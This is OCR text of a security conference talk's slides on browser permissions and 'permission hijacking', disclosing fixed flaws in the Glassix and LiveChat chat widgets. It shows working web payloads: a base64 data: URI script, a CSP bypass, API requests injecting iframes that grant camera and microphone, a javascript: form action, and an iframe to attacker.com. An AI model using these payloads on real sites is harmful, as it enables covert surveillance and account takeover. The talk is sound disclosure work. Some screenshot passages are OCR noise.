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> whoami
Alberto Fernandez-de-Retana — bubu (pronounced as boo-boo)

Interested in web security and privacy, as well as browser internals.
W3C Security Interest Group Invited Expert.
CTF player for: TheHackersCrew, ISwearlGoogledlt, 0xDecode ...

@ @alberto_fdr

@ abertofdrithub.io

@ albertofdr.github.io@gmail.com
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https://x.com/alberto_fdr
https://albertofdr.github.io/

How Browser Permissions Work

Disclaimer. Android WebView behaves differently.

B x 8
6, _>@\ https://foo.bar J E

Home  About

—— Poobar is asking you

to: ) microphone
1 camera P %@’,Ufﬁj" Cyp.
\_Block | allow, JtyClass? @ gl %

te describing various wel b
security/privacy topics.

» Syllabus:

1. Introduction.
« Learning path. 4
2. Web Today!
« Cookies. [
3. Application flaws.
4. Browser Internals

« How to build a browser on top of
chromium. [

+ Web-to-App Communication
Overview. [

[1] https:/albertofdr.github.io/web-security-class/browser/browser.permissions
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How Browser Permissions Work

> Around 80 supported permissions.

> no up-to-date list.

accelerometer camera clipboard-read
clipboard-write display-capture fullscreen
geolocation gyroscope local-network-access
local-fonts microphone notifications

[1] https://albertofdr.qgithub.io/browser-permissions-tool/index.html
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How Browser Permissions Work

Permission Powerful Policy-controlled Default Allowlist
camera V| V| self
geolocation V| V| self
gamepad ) ¢ V| *
notifications V| X N/A
push 4 X N/A

[1] https://albertofdr.qgithub.io/browser-permissions-tool/index.html
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How Browser Permissions Work

Policy controlled Powerful

Permissions Permissions

[1] https://w3c.github.io/permissions/#reqgistry-table-of-standardized-permissions
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https://albertofdr.github.io/browser-permissions-tool/

Home  News/Versions Header Generator  Permission Information ~ Learn About Permissions ~ OpenIssue  About ©)

Browser Permissions Compatibility

15-05-2025

Note: The data is updated periodically and may not always reflect the latest browser versions.
Note: Firefox (link) and Webkit (link) still don't support the Permissions-Policy header.

‘ This table contains information about browser compatibility for certain features.

S | 4

127 Permissions Chrome 136.0.7103.92 Chromium 136.0.7103.25 Firefox 137.0 Brave 1.78.97 WebKit 18.4
accelerometer V| [ (self) ™ {7 (self) X X [ (self) X X
accessibility-events X X X X X X X X X X
all-screens-capture X X X X X X X X X X
ambient-light-sensor V| X V| X X X V| X X X
attribution-reporting X v Y] X * X X X X X X
audio X X X X X X X X X X
autofill X X X X X X X X X X
autoplay X 7 (self) X (self) X X X [ (self) X X
background-fetch ™ X ™ X X X X X X
background-sync V| X V| X X X V| X X X
battery X X X X X X X X X X
bluetooth X X X X X X X X X X
browsing-topics X vV EQ] X * X X X X X X
camera V| {7 (self) V| {7 (self) V| X V| [ (self) V| X
captured-surface- Vi 7 (self) " (self) X X [ (self) X X

control
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Individual Permissions — Media Capture and Streams!!!

- Permission is defined in spec.

- Spec defines if the permission is powerful and/or policy
controlled.

- In case of policy controlled, it includes the default allowlist.

13. Permissions Integration

This specification defines two powerful features identified by the names "camera" and "microphone".

14. Permissions Policy Integration

This specification defines two policy-controlled features identified by the strings "camera" and "microphone"”.
[1] https://www.w3.org/TR/mediacapture-streams/ Both have a default allowlist of "self".
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How a website developer can Control/Restrict Permissions

Pe,rmkssions-Pohcy Re,S,ponse, Heoder

[eece X |+

¢ — (Qhttpsi//Foo.com/ ) =

o @

Camera

GET / HT TP/
Lheaders]

L —=
T ==
L ==

O[0|0

HTTP/1.1 200 OK
Lheadersj
PeﬁmSSIOV\S'POLQy Coxmef‘a=()
Lheadersj

ntml>.... L html>
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How a website developer can Control/Restrict Permissions

Permissions-Policy header: HTML allow tag:
camera=(), i frame
clipboard-read=self, src="https://iframe.org”
clipboard-write=(self "https://iframe.org/") allow=camerajclipboard-read;

clipboard-write”>

Website Iframe
camera Q Q
clipboard-read 4 0
clipboard-write v )
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How a website developer can Control/Restrict Permissions

Permissions-Policy header: HTML allow tag:
camera=), ciframe
clipboard-read=self, src="https://second-iframe.org”
clipboard-write=(self "https://iframe.org/") allow=camera;clipboard-read;

clipboard-write”>

Website second-iframe

camera Q Q
clipboard-read O 0
clipboard-write O Q
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Home  News/Versions Header Generator  Permission Information  Learn About Permissions

Create Your Permissions-Policy Header

15-05-2025

Using the permission result list, this page lets you create a permissions policy header for your website. In this list, all the policy-controlled permissions that are valid for at least one browser vendor. In this header, you can specify different directives for the policy-controlled permissions.
Note: Even though you can use the 'Disable Powerful Permissions' option, | highly recommend double-checking manually.
Inspired by permissionspolicy.com

N2 of Permissions: 27

Ne of Bytes: 524

Permissions-Policy: accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(), cross-origin-isolated=(), display-capture=(), document-domain=(), encrypted-media=(), execution-while-not-rendered=(),
execution-while-out-of-viewport=(), fullscreen=(), geolocation=(), gyroscope=(), keyboard-map=(), magnetometer=(), microphone=(), midi=(), navigation-override=(), payment=(), picture-in-picture=(), publickey-credentials-get=(),
screen-wake-lock=(), sync-xhr=(), usb=(), web-share=(), xr-spatial-tracking=()

Disable All Permissions Disable Powerful Permissions Start Again
T 7 S R A A
V] 3 0] [Origins separated by semicolo | D

accelerometer

<

camera

captured-surface-control

J

clipboard-read

clipboard-write V] 8 [0 . ol \
display-capture V| O [Origir : \
fullscreen V| O [orig d by c ‘
geolocation V| [ ‘
mmncrnna 52} M [ |
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Browser Permissions Misconceptions

-> Misconception 1: Controlling vs Same-Origin-Policy (SOP)

Permissions-Policy:

camera=(self “https://iframe.org”)

HTML allow tag:

<iframe

src="https://iframe.org”
allow="”camera”

000 X B

« —>(Qhttps://foo.bar J

|

iframe.org =

not-iframe.org

(%

not-iframe.org

©

8 XA K AN AR N KKK KR ARNK ;-!\"’j/f’(/
X /m\/\><‘</<‘ 0% \/\ \\f\’*\*/}\/\\ / >(/< Ve ///// }& \\\// o S /)/AA/\/
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Browser Permissions Misconceptions

-> Misconception 2:

[ese ] x[*

Misleading prompt

000 | X |+

<_ 9{0\ https://foo.bar

meet.example.org

is ask;ng you to:

& —>(Q_ https://foo.bar

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS VI B/ 5 Uy 1/

is asking you to:
microphone microphone
(N coamera S— (0 camera 4 : /

’ meet.example.org 7 T meet.e*ah\plé.c')f'g/iﬁ«,,
s W ey A Bt/
// 7 // "/////, A // / /"J/ //
G4 7/ 70000
//, IH0//7 )/ /Y / v
z; 7 //’/ // 7 f / /
7 7/ 0/ T I00,
/) / / /Y 7/ // /
AN 7 TN/

’//'/ é ,/,/ g /,/ g ":/ // / g / / / o //; 1/,
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Browser Permissions Misconceptions

-> Misconception 3: No re-prompt

[eee 1 xEF_____ ] [EeeT X&E

<.. _>(O\ https://foo.bar . | 6 _9(0\ https://foo.bar J

_|
\|
\|

foo.bar
is a\sking you to:
Q microphone

(h comera

/, meet.example.org 7/
4 //
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Funny part - How to perform Permission HijacRing?

Case 1: Hacking Embedded Documents with Permissions
->Vulnerabilities found on Glassix and LiveChat companies

Case 2: Hacking websites w/o control header
-> Specification Issue

[1] https:/albertofdr.github.io/post/permission-hijacking-2025/

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS VI B/ = Uy 16/
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Funny part - How to attack this permission model?

-> Case 1: Hacking Embedded Documents with Permissions

<iframe src="bubuchat.com?id=XXX" allow="camera;microphone;display-capture;clipboard-read">

X |+

eoe |

I

eve | X |+
¢ —>(ahttps://weather. com/ ¢ —> (ahttps://bank. com/

Wl

eoe | X |+
& > (ahttps:/7news.com/

W

bubuchat.com

bubuchat.com

B / a5 Uy 4/
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Funny part - How to attack this permission model?

-> Case 1: Hacking Embedded Documents with Permissions

[ @ o o X |+
1. Gain access to a company’s account. |~ =2 (b o J =
2. Inject our code in the chat widget. Chat Widget R
— =)

el =
B
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Chats Kate Lampert e [

Today .
v Mychats 3 Details

[ 2 ——

General Info

v Lampert
Kate Lampert ate ampert@company.com
333 pmlocal time

i, VY, United States

Kate lampert@company.com @ New

) o s ,

a ¢
v d Hello! How may  help you?
My chats 3 lk e 'wwm,\.wmrq

ustomer Support Widgets

Chats

Kate Lampert ' ¢ 48 +
P @ e : ]
o ‘ . | ‘ How o turm off push notfications o mobile? R
iy o Kate Lampert
arn SIrrE s SeRe 5 & Rehardnent . an find i Goto Profile > Settings > Push notifications  JH kate lampert@company.com
MRCORCUT g alzae NRCARLY  TREOEN ToE g Mon e
ueued chats. 2 e Visited pages
=
A 2 PLANS PHONES ACTIVATE COVERAGE MY ACCOUNT  HELP - 7 2pagesin7m 165
#1Cell Service for Seniors | ) limbllang ) ivechat Pricing| Livechat Plans
v superisedchats : ————
peterLuis w parners vech
~ e ) el °
X wherercntn i ¥ e

Additional info

Apple iPhone 16 Pro Max Apple iPhone 16 Pro Apple iPhone 16 Plus Apple iPhone 16

FreedomPop Virtual Assistant
Virtual Assistant

o R
“ \ J Hello, I'm the FreedomPop
chatbot, an automated Virtual
Assistant. I can help point you in
$999 $799 $729 $629 the right direction
AFTER $200 REBATE AFTER $200 REBATE AFTER $200 REBATE AFTER $200 REBATE
Welcome to "America's #1 Cellular
Service for Seniors"
If you need to speak with a Live
Agent, simply ask for 'Agent' or
'Human' (Mon-Sun SAM-9PM PST),
and I will transfer you to one of
P 4 P 3 } R ) 5 our helpful Live Agents. For now,
Apple iPhone 14 Pro Apple iPhone 1 Apple iPhone SE 3rd Generation Apple iPhone 1 how can I assist you with your
inquiry today?
( © New message v X
‘ | write a message OO > |

Powered by () LiveChat

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS VI B/ 5 Uy 1o/




Case 1: Glassix Widget

Glassix Usage Statistics

% Top 10k *@=— % Top 100k *@=
PublicWWW: & Top Im *@=— [Eai internet @=—

1750
- 128 websites ]‘:Z
. 1375
Wappalyzer: .
. n2s
- 300 websites. o
875
750
625
500
375
250

125 Mp—

0 ——————
2019/01 202112 2023/08 2024/06 2025/03

Stats from builtwith.com
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Glassix Widget

POST /api/v1.2/widget/reply

4 BOT

{ text: “message”, attachments: [] }

‘i ! Nice to meet you, pepe!

s
{ BOT+*1m
text:
C What's the best email address to reach
attachments: | you?
epe@gmail.com
“typeu: 1 , ﬁ pepe@g
ar
BOT*1m
“uri’: “” H
I, Any additional info you want to add?

BOT * Now

message

Now

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS VI B /0 Ny 2/
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Glassix Widget
POST /apilv1.2/widget/reply

{

(134

text:
attachments: [

“type”: X, Il TESTING

13 2] (134

uri.

ALBERTO FERNANDEZ-DE-RETANA

l Unassigned +

6d

Ctrl + Enter to send message. Type /' for actions

A # ¢ S 0 M :

EUSKALHACK SECURITY CONGRESS ViiI

12/05/2025
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Glassix Widget

POST /apilv1.2/widget/reply

{ foxt: Example
attachments: [ Domain
[A UPLOADED_IMAGE.jpg
“type”: 8,
“uri’: “https://example.com”
] Reply Note Summary
} Ctrl + Enter to send message. Type '/" for actions

A# ¢ 20K

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS VI B/ T Sy 2/
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Local-Scheme Documents
What is a Local-Scheme Document?

Headerless documents.

local scheme is "about", "blob", or "data".
Fetch Standard WHATWG [1].

<iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgncG90YXRvIyk8L3NjcmlwdD4K >

> EChO “PHN...” | base64 ‘d —> <script>alert(l)</script>
> Try here: https://albertofdr.qgithub.io/dummy-pages/testing-pages/live-editor.html

[1] https://fetch.spec.whatwg.org/#local-scheme

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS VI B /0 Ny /)
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https://fetch.spec.whatwg.org/#local-scheme
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Glassix Widget
POST /apilv1.2/widget/reply

{

(134

text: ™,
attachments: |

[ UPLOADED_IMAGE.jpg

“type”: 8,

“uri”: “data:text/html;base64,PH...4K”

] Reply Note Summary

} Ctrl + Enter to send message. Type '/' for actions

A# ¢ 2 0K

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS VI B/ e Ny s/



Glassix Widget

Content-Security-Policy - Who uses CSP? Really?

upgrade-insecure-requests; worker-src * blob:; script-src 'nonce-lePKq+2C8g5sIPBpR0S3qg=='"self' hcaptcha.com
*.hcaptcha.com https://www.gstatic.com/recaptcha/ https://www.google.com/recaptcha/ https://www.recaptcha.net/recaptcha/
opengraph.io *.glassix.com *.glassix.net *.glassix.io *.glassix.org *.glassix.co.uk *.glassix.co *.glassix.xyz *.glassix-aws.com
*.glassix-ngrok.com *.hotjar.com static.opentok.com documentservices.adobe.com cdn.ably.io js.chargebee.com *.bluesnap.com
glassix-cdn-prod.s3.eu-central-1.amazonaws.com; connect-src *.glassix.com *.glassix.net *.glassix.io *.glassix.org *.glassix.co.uk
*.glassix.co *.glassix.xyz *.glassix-aws.com *.glassix-ngrok.com www.recaptcha.net *.hcaptcha.com https://functions.glassix.com
*.opentok.com hlg.tokbox.com wss://*.media.prod.tokbox.com https://dc-api.adobe.io/system/log
https://viewlicense.adobe.io/viewsdklicense/ glassix-private-prod-global.s3.eu-central-1.amazonaws.com
glassix-private-prod.s3.eu-central-1.amazonaws.com glassix-public.s3.eu-central-1.amazonaws.com *.bluesnap.com
*.cardinalcommerce.com *.kaptcha.com glassix.service.signalr.net wss://glassix.service.signalr.net wss://*.glassix.com
*.ably.glassix.com wss://*.ably.glassix.com internet-up.ably-realtime.com rest.ably.io wss://ws.hotjar.com vc.hotjar.io
content.hotjar.io metrics.hotjar.io data:; frame-ancestors 'self'; report-uri https://webhook.site/CSP; object-src 'none’;

base-uri 'none’;

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS VI B/ C Uy /|



Glassix Widget

Content-Security-Policy - CSP Bypass Website[1]

script-src ... https://www.google.com/recaptchal ...

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<img src=x ng-on-error="Sevent.target.ownerDocument.defaultView.alert(1)">

[l % bamsrad.glassix.com/inbox/8beeb650-... I < | §° A

bamsrad.glassix.com says

bamsrad.glassix.com

[1] https://cspbypass.com/

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS ViiI
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% bamsrad.glassix.com/inbox/8beeb650-... HI

bamsrad.glassix.com says

Glassix Widget

We have same access as the person who
reviews the chat. Let’s assume that the person
reviewing messages has admin permissions.

Now, we need the injection of our code into the
company Chat Widget.

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS VI B /0 Ny 3/
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Glassix - Customizing the Chat Widget

\._;{ qlaSSiX . bamsrad, Customer success

~

@ asd asd bamsrad, Customer success < Embedded Apps
@ Home ) Learn how our embedded apps work
f1  Facebook Widgets are iframes shown in the agent's workspace that make it easy to see the correct information and take quick actions to support your users or convert your leads.
o M They are great for streamlining existing workflows and enabling new ones by bringing other services into the Inbox.
QQ My conversations essenger
"; © Instagram
-
Unassigned Instagram Direct
]
G Google Business Reviews Type Details D Secret Active
All conversations )
G J" TikTok URL
Other
@  Email Name
) i a9e41d33-dd0d-4041-be80- DOBf s #*eswasurasnaamnrnn = . =
Dashboard 0O Chat widget welcome 94856a1c3e23 O -
3= Advanced Settings screen
Height
200px
(€)1 Chatbotand Al v —_—
Reports {2} Developers o

Search

£ APIKeys
5

Events

86 Embedded Apps

=</ Agent Widget

Settings fx) Functions
&  Support & Tools A
@ Help o
/% Support
(= sign out [  workspace management v

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS ViiI 29



Glassix - Permission Hijacking

Start a new conversation

Dear customer,

POST /api/v1.2/embeddedappwidget/addorupdate @77 Our contact center is not available at

the moment.
&o

{ ¢> New Conversation

"iframeUri": "data:text/html;charset=utf-8,
<iframe src=https://example.org
allow=camera;microphone;display-capture>", Example

Domain

glassix

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS VI B/ v Uy 3/



https://example.org

Start a new conversation

Glassix - Permission Hijacking at Scale

Dear customer,

1. Collect all the Companies with Glassix Chat. W s netayliablest

2. Send the message with the payload for execution.

3. Message payload when executing includes our
iframe in the widget allowing the permission hijacking
on the company affecting all users interacting with
the widget.

Example
Domain

glassix

Disclaimer. Easier than CTF beginner challs. 6

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS VI B / > e 31
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Glassix - Timeline

14 may 2025 - Reported via Emaill
15 may 2025 - First Reply
17 may 2025 - Fix applied

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS VI B/ 0 Ny 3/
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Case 2: LiveChat Widget

LiveChat Usage Statistics

PublicWWW & Top 10k *@= % Top 100k *@=
- 130.679 websites (term “LiveChatWidget”) okl R teregr0=
- 217.526 websites (term “livechatinc”) 500000

Wappalyzer o
- 38.500 websites.

Website, Android app and Desktop App (Electron)

- Thanks @kashmir54 for helping with APK & proxy s~

0
2009/10 2020/04 2021/10 2024/10 2025/02

Stats from builtwith.com
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LiveChat - Technical Info

<iframe
id="chat-widget-minimized"
name="chat-widget-minimized"
title="LiveChat chat widget" scrolling="no" style="...">

Hello, how may I help you?

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS VI B /v Ny 3/
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LiveChat - Technical Info = -

"® Bankera Bot

Disclaimer. They changed default delegation in the last month.

— Hello, how may I help you?

<iframe
allow="'clipboard-read;

clipboard-write; 1
autoplay;
microphone *;
camera *; . T
display-capture *; 1
picture-in-picture x*;
fullscreen *3°"

Powered by () LiveChat

src="https://secure.livechatinc.com/customer/action/open_chat?.."
id="chat-widget" name="chat-widget"
title="LiveChat chat widget" scrolling="no" style="...">
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LiveChat - Admin Panel

iframe src="https://marketplace-agentapp.livechatinc.com/apps">...</iframe

Install LiveChat to start chatting with your customers. m Invite developer

Q_ search or ask ctrl | K

Apps [ Exploreapps > Contact Management > Chat Go'to Cart |2

i Explore apps
Chat Get

Let customers chat with your team through a dedicated mobile app

5. Ratethisapp Developedby Text  Works with () LiveChat

Your apps

Overview Key Features Benefits App Terms Reviews Support

Chatting with your team has never been easier. Install Chat integration and allow your customers to connect with your business using a dedicated app. Thanks to
notifications, they will never miss any messages sent by your agents.
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New Tab

©

DLiveChat ‘ Marketplace Apps

Partners Developers SaaS Deals Q - Sign up free

Our Text products

o | o o
& ChatBot @ Let customers chat with your team through a dedicated mobile app

Al bot platform 5+ Retethis app  Developed by Text  Works with () LiveChat

() HelpDesk
Support ticket system

Overview Key Features Benefits App Terms Reviews Support
) KnowledgeBase

Help cen

Categories

% Al-Powered

# New & Noteworthy
O Staff Top Picks
® Starter Pack

&Y Self Setup

B Allapps >

Chatting with your team has never been easier. Install Chat integration and allow your customers to connect with your business
using a dedicated app. Thanks to notifications, they will never miss any messages sent by your agents

Enabling Chat integration lets your customers continue a chat on their phones. Whenever they are in a hurry and need to switch
from desktop to mobile, the Chat mobile app is an excellent way to stay in touch with your team.

EUSKALH SECURITY CONGRESS Vil



D LiveChat | Marketplace Apps Partners Developers Saas Deals Q Sign up free

5+ Rate this app  Developed by Text  Works with [ LiveChat

Overview Key Features Benefits App Terms Reviews Support

Ratings & Reviews

5 S ee——— How would you rate this app?
out of § + 5 Ratings :

Emranislam Castemer support

Hello sir Halle bosgu trimakasih sudah bergabung ada yang bisa saya bantu

Edwin Fdo. Garcia

5 stars for the intention of improving communications and bringing
them to the hands of our customers!

Still in development-Beta sure to keep getting better!

Tutorial & Support

(@ How to use this app

To get help and support contact Text. You can also suggest improvements or request new features in the
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L X} New Tab

( ]LiveChat | Marketplace Apps Partners Developers SaaS Deals
—. | Chat
8+ Rate this app Developed by Text  Works with () LiveChat
o Benefit: pp T R

Ratings & Reviews

5 out of 5 * 5 Ratings

Bubu

THIS IS A MARKDOWN USING H1

Tutorial & Support

(@ How to use this app

To get help and support contact Text. You can also suggest improvements

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS ViiI .—
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Castemer support
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LiveChat - Markdown library (markdown-to-js

New Tab

| @ A&

) Product v Solutions v Resources ~ Open Source - Enterprise v Pricing Search or jump to. signin [ Signup

Sponsor | £ Notifications | % ¥r sar 2.1k

© Issues 9 Pullrequests 3 Actions @ Security |~ Insights

Link sanitization for javascript: urls not working #239 Newissue

(@EIBsed)) fastfedora ope ‘ Y

(ﬁ fastfedora

The link sanitization for javascript: URLs is not working for a elements.

No one assigned

For example, this renders as a Javascript link that when clicked, displays an alert box:

None yet
="javascript:alert('You have been hacked');">Hack Me</a>
Projects

The sanitization does appear to be working for Markdown links though, since this renders as plain text None yet

[Hack Me](javascript:alert('you have been hacked'))

quantizor r . Successfully merging a pull request may close this

What if this is intended though? &< sanitize href values

, CHALLENGE ACCEPTED

= 6N
I can see someone wanting javascript: links to work. But I would expect the behavior to be consistent. So, either the
links would work both within Markdown and HTML syntaxes, or in neither.

There might be a use case for enabling one and disabling the other, but I can't think of one right now.

Generally, the reason most people want to sanitize javaseript: links is to remove that as an attack vector with user-
generated content. So, having only one syntax sanitizing the links leaves this attack vector open.

-

quantizor

Hmm alright, I'd accept a PR to sanitize the anchor tag href
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LiveChat - markdown-to-jsx - website crash

Note: Not really from the library
a contenteditable

o0 New Tab

4D ¢C

s [O Elements  Console  Sources  Network  Performance ~ Memory  Application  Security Lighthouse  Recorder
10%) topy | © Y Filter

[debug logs from @livechat/store-metrics] hasPartnerld

[debug logs from @livechat/store-metrics] shouldResetPartnerId

» TypeError: Cannot read properties of undefined (reading 'startsWith')
at j Re i 6:12

)
)
)
)
)

MessagePort. T ( js:14

rror: Cannot read properties of undefined (reading 'startsWith') instrument.j
j derer

)
)
)
)
)
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LiveChat - markdown-to-jsx - Meta Redirect

meta http-equiv="refresh” content="0; url=https://example.org/

Example Domain

This domain is for use in illustrative examples in documents. You may use this
domain in literature without prior coordination or asking for permission.

More information...

ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS ViiI
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LiveChat - markdown-to-jsx - Style Injection
style> h1l{ color: Red; } </style

OLiveChat ‘ Marketplace Apps Partners Developers SaaS Deals Q ’Q

Chat

Overview Key Features Benefits App Terms Reviews Support

App Terms

@ Legal Terms

By installing this app, you agree to the Marketplace Terms.

Ratings & Reviews

5 ¥ prm— How would you rate this app?
out of 5 * 5 Ratings

Castemer support
Bubu Hallo bosqu trimakasih sudah bergabung ada yang bisa saya bantu

Edwin Fdo. Garcia

5 stars for the intention of improving communications and bringing
them to the hands of our customers!
Still in development-Beta sure to keep getting better!
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LiveChat - Marketplace Comment Section - markdown-to-jsx

Requirements:
-  Create an account

Consequences
- Redirect Injection via meta tag
o Make all the apps pages redirect to another page (phising?)
- Make Marketplace inaccessible.
o Admins unable to install a plugin
- Style Injection via style tag
o Style change or useless css exfiltrations.
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An embedded
tapp.Iivi

+ Invite

D Exploreapps > Contact Management > Chat

Chat [ o |

Let customers chat with your team through a dedicated mobile app

s- n Deveiopeaby Text Works win O LiveChat

Gotocart B

Explore apps

Your apps

Key Features App Terms

<style>

</style>

<form>
<button formaction="javascript:alert(window.origin)">
</button>

</form>

Wonderful app mate!

I

Chatting with your team has never been easler. Install Chat integration and allow your customers to connect with your business using a dedicated app. Thanks to
notifications, they will never miss any messages sent by your agents.

Enabling Chat integration lets your customers continue a chat on their phones. Whenever they are In a hurry and need to switch from desktop to mobile, the Chat mobile app
is an excellent way to stay in touch with your team.

Your customers can transfer a chat to moblle through a chat menu.

Key Features

Ability to continue a chat on mobile Push notifications
When your customer is in a hurry or needs to walk away from the computer, they can The main reason for customers dropping chats is the lack of visible notifications about the
continue a conversation with your team on their phone. With a quick and easy code scan, the | agent's response. With push notifications, your customers will never miss your response. For

conversation appears on a mobile device. your company, this means an improved Customer Satisfaction Score.

Fast & convenient

Experience they already know
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BB https://www.googletag...
v B8 Session storage https://marketplace-agentapp.livechatinc.com
https://accounts.livecha... Origin https://marketplace-agentapp.livechatinc.com
https://marketplace-ag... Key Value
https://my.livechatinc.c... @@scroll | /apps/chat/| 1735410675296 1313.5999755859375
https://news.livechat.com @@scroll | /apps/chat/| 1735410961940 1530.4000244140625

https://secure-Ic.livecha... @@scroll | /apps/chat/| 1735411058911 0
_fs_tab_id fce697020b4440

access_token dal:2Mt3msCZW

» B IndexedDB
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LiveChat - From Account Takeover to Permission Hijacking

access_token in marketplace context allowing all kind of actions as user.
Assuming user is Admin:

1. Invite me as Admin
2. Find a way to insert our own code or iframe in their company widget.
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LiveChat - Chat Widget Customization

000 NewTad

4 D C

Install LiveChat to start chatting with your customers. m Invite developer

Q Ssearch or ask ctl K + Invite

Settings [0 Customization Preview
Channels

Chat page Customize your chat widget

<« - K
Decide how ' 2t on your website will look, behave and what information It will offer.
Website widget .
(]
Customization «'
@ Customize widget on website NEW! v Witen88701
Product Expert
o
oo
ng it directly
Hello. How may T help you?
Forms
Sugagsnent
Tags !
Type website address
Sales tracker Go ahead
. owube.com .
Chat settings
Security
@ Appearance >
i [eNC]
«» Position > s oo
. N Test it out on the chat You'll likely work in chats
(% Mobile chat widget > section most of the time

Want help getting startec

Additional tweaks > Watch intro video
Manager's Handbook

Chat with support

. (S
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LiveChat - Chat Widget Customization

PUT /v2/properties/group/0

Authorization: Bearer dal:SECRET o . -
20

{ Product Expert
o> Q

"chat_window.theme.minimized":"bar",
"chat_window.screen_position":"left",
"chat_window.offset_x":"100",
"chat_window.offset_y":"100", SNE et et
All parameters sanitized

Hello. How may I help you?
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LiveChat - Chat Widget Customization

PUT /v2/properties/group/0

Authorization: Bearer dal:SECRET ° ‘. -

20
{ Product Expert
"chat_window.theme.minimized":"bar", Lo e
"chat_window.screen_position":"left", o
"chat_window.offset_x":"100", e
"chat_window.offset_y":"100", All parameters sanitized P —
EXCEPT ONE
}

Y O

>

®©®

owered by () LiveChat
ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS VI B /0 Ny s/



LiveChat - Permission Hijacking at Scale

Requirements:
- Create an account.

Assumption:
- Admin person visiting marketplace.

Consequences
- Account Takeover
- Injection in the same-origin as the page in which the widget is inserted.

<iframe id=’chat-widget-minimized’> Hello, how may I help you?
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LiveChat - Timeline

29 nov 2024 - Reported via Email
3 dec 2024 - First Reply
12 dec 2024 - Fix applied
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Funny part - How to attack this permission model?

-> Case 2: Hacking websites w/o control header
meet.bubu.com

Permissions-Policy: 0
Content-Security-Policy: ... script-src 'self'; ...

attacker.com
vi;eo

Il

X X |+
& — (Qhttpsi//meet bubu.com/ )

A

EUSKALHACK SECURITY CONGRESS ViiI
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Case 2: HacRing websites w/o control header

Sometimes camera/microphone/display-capture permission is granted but the website allows you to click a button to not send the data.

® o o X +

& —>[(Q https://meet.bubu.com ) —
a )
CT0: hellooo
CEO:

Hi, let's be quick.
I'm busy with

investors

Gi__d [ sysadmin

X > Write here....
NTO O G L J
ALBERTO FERNANDEZ-DE-RETANA EUSKALHACK SECURITY CONGRESS VIl ..m
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Case 2: HacRing websites w/o control header

[ @ o o X|+

& —>(Q https://meet.bubu.com

—
—
e

d,__d ( sysadmin

J

(. E

CT0: hellooo

CEO:
Hi, let's be quick.
I'm busy with
investors

a‘t‘tak‘.m = 7
ckerico \!jme @Gl

> Write here.... J

ALBERTO FERNANDEZ-DE-RETANA
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Content-Security-Policy:

Permission Hijacking!!

<iframe
src=attacker.com

...very...strong...and...
...big...csp...

(without frame-src directive)

allow=camera,microphone,display-capture

></iframe>

This also affect when you granted the permission
but your camera is turned off.


http://attacker.com

Case 2: HacRing websites w/o control header

(@ o o X |+ n
- » CIE e = Permissions-Policy:
camera=self,
Camnbis: | microphone=self,
- CEOi:Ii. let's be quick. display-capture=se/f7
o ol clipboard-read=self
[ sysadmin ]
QJNQ @ @ \>Writek ....... ‘
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Specification Issue Found - Local-Scheme Documents Strike again

Expected
E Permissions-Policy Header
g camera=self
_ g Camera Allowed?
§ % (any permission)
wn
&
3
5 Camera Allowed?
‘E‘cé (any permission)
E

[1] Github Issue in Permissions-Policy Standard: https://github.com/w3c/webappsec-permissions-policy/issues/552

[2] Github Issue in WHATWG HTML Standard: https://github.com/whatwa/html/issues/10461
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Specification Issue Found - Local-Scheme Documents Strike again

- Expected Reality - Bug
(@)
E Permissions-Policy Header
g camera=self
_ g Camera Allowed?
- (any permission)
- O
N
=
3
5 Camera Allowed?
‘E‘cé (any permission) *
i

[1] Github Issue in Permissions-Policy Standard: https://github.com/w3c/webappsec-permissions-policy/issues/552
[2] Github Issue in WHATWG HTML Standard: https://github.com/whatwa/html/issues/10461
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]

Research Paper How Browser Permissions Work blog

Analyzing Permissions-Policy Header, Permission (¢ Title: You Shall Not Get Access “®.: Browser Permissions
Usage and Permission Delegation across 1M =
websites. Under review. J

-> https://albertofdr.qithub.io/web-security-class/browser/browser.permissions

A Permissions Odyssey: A Systematic Study of Browser
Permissions on Modern Websites

Anonymous Author(s)

CREWCTF chall (20-21 sep) [

Chall related to things explained in this talk might
appear in the competition.

HEHACKERSCREW

the hackeris that /screw

@Jannis Rautenstrauch & ’ CISPA

%
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